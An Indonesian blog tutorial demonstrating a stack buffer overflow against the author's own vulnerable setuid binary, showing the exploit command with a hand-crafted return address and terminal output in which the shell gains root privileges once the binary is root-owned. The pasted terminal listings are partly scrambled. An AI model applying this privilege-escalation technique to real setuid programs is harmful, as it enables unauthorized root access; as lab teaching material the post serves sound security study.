Dengan teknik buffer overflow bisa terjadi efek domino atau efek lanjutan yang bisa jauh lebih berbahaya. telah dijelaskan bagaimana cara memanfaatkan vulnerability sebuah
program dan pada akhirnya bisa menghasilkan sebuah shell. Pada posting
kali ini akan dijelaskan salah satu spot menarik untuk kita mendapatkan
shell root, bukan sekedar shell user dengan privilege terbatas.
SETUID adalah salah satu flag di file
system Linux yang tujuannya untuk menge-set user ID sesuai dengan
pemilik file ketika file akan di eksekusi. SETUID octal value adalah
04000. Jadi kalau mau setting SETUID pada file “hehe.txt” untuk
read,write,exec oleh user bersangkutan dan read,exec oleh group user
bersangkutan + others adalah dengan command “chmod 4755 hehe.txt”.
Langsung saja tidak pake basa-basi lagi,
ini adalah program vulnerable kita yang dieksekusi dengan argumen
khusus yang telah diracik sehingga hasilnya adalah sebuah shell…
Pertama status pemilik file executable
“S9″ nya adalah user “inan”. Program dieksekusi dari user “inan”. Bagi
yang bingung, file “S9″ itu adalah binary program yang telah saya buat
(ada di postingan ).
01 | inan@ubuntu:~/Desktop/bof/demo$ ls -l |
03 | -rwsr-xr-x 1 inan users 7231 2011-12-20 07:06 S9 |
04 | -rwxr-xr-x 1 inan users 31 2011-12-21 06:24 shellcode.bin |
05 | -rw-r--r-- 1 inan users 125 2011-12-18 04:12 shellcode.txt |
06 | inan@ubuntu:~/Desktop/bof/demo$ ./S9 abcdefghijklmno$(perl -e 'print "\x22\xfe\xff\xbf";' ) |
07 | [ATURAN] buffer B hanya bisa menampung 3 bytes data |
08 | [BEFORE] ini buffer A masukan anda: abcdefghijklmno"??? |
09 | [BEFORE] ini buffer B sekarang: |
10 | [PROCESSING...] menyalin isi buffer A ke buffer B |
11 | [AFTER] ini isi buffer A: abcdefghijklmno"??? |
12 | [AFTER] ini isi buffer B: abcdefghijklmno"??? |
16 | inan@ubuntu:~/Desktop/bof/demo$ |
Kedua status pemiliknya (ceritanya
diganti…) file “S9″ milik user “bombom”. Sebagai catatan, file ini
dieksekusi oleh user “inan”.
1 | root@ubuntu:/home/inan/Desktop/bof/demo |
2 | root@ubuntu:/home/inan/Desktop/bof/demo |
01 | inan@ubuntu:~/Desktop/bof/demo$ ls -l |
03 | -rwsr-xr-x 1 bombom users 7231 2011-12-20 07:06 S9 |
04 | -rwxr-xr-x 1 inan users 31 2011-12-21 06:24 shellcode.bin |
05 | -rw-r--r-- 1 inan users 125 2011-12-18 04:12 shellcode.txt |
06 | inan@ubuntu:~/Desktop/bof/demo$ ./S9 abcdefghijklmno$(perl -e 'print "\x22\xfe\xff\xbf";' ) |
07 | [ATURAN] buffer B hanya bisa menampung 3 bytes data |
08 | [BEFORE] ini buffer A masukan anda: abcdefghijklmno"??? |
09 | [BEFORE] ini buffer B sekarang: |
10 | [PROCESSING...] menyalin isi buffer A ke buffer B |
11 | [AFTER] ini isi buffer A: abcdefghijklmno"??? |
12 | [AFTER] ini isi buffer B: abcdefghijklmno"??? |
16 | inan@ubuntu:~/Desktop/bof/demo$ |
Ketiga status pemiliknya (ceritanya diganti…) file “S9″ adalah milik “root”. File ini dieksekusi dari user “inan”.
1 | root@ubuntu:/home/inan/Desktop/bof/demo |
2 | root@ubuntu:/home/inan/Desktop/bof/demo |
01 | inan@ubuntu:~/Desktop/bof/demo$ ls -l |
03 | -rwsr-xr-x 1 root root 7231 2011-12-20 07:06 S9 |
04 | -rwxr-xr-x 1 inan users 31 2011-12-21 06:24 shellcode.bin |
05 | -rw-r--r-- 1 inan users 125 2011-12-18 04:12 shellcode.txt |
06 | inan@ubuntu:~/Desktop/bof/demo$ ./S9 abcdefghijklmno$(perl -e 'print "\x22\xfe\xff\xbf";' ) |
07 | [ATURAN] buffer B hanya bisa menampung 3 bytes data |
08 | [BEFORE] ini buffer A masukan anda: abcdefghijklmno"??? |
09 | [BEFORE] ini buffer B sekarang: |
10 | [PROCESSING...] menyalin isi buffer A ke buffer B |
11 | [AFTER] ini isi buffer A: abcdefghijklmno"??? |
12 | [AFTER] ini isi buffer B: abcdefghijklmno"??? |
16 | uid=1000(inan) gid=1000(inan) euid=0(root) groups =0(root),4(adm),20(dialout),24(cdrom),46(plugdev),111(lpadmin),119(admin),122(sambashare),1000(inan) |
Dengan memanfaatkan program yang
pemiliknya adalah root dan menggunakan flag SETUID, kita bisa cari
bugsnya dan manfaatin file itu untuk gaining root shell. Kini, file “S9″
bisa disebut sebuah rootkit hahahak.. ;p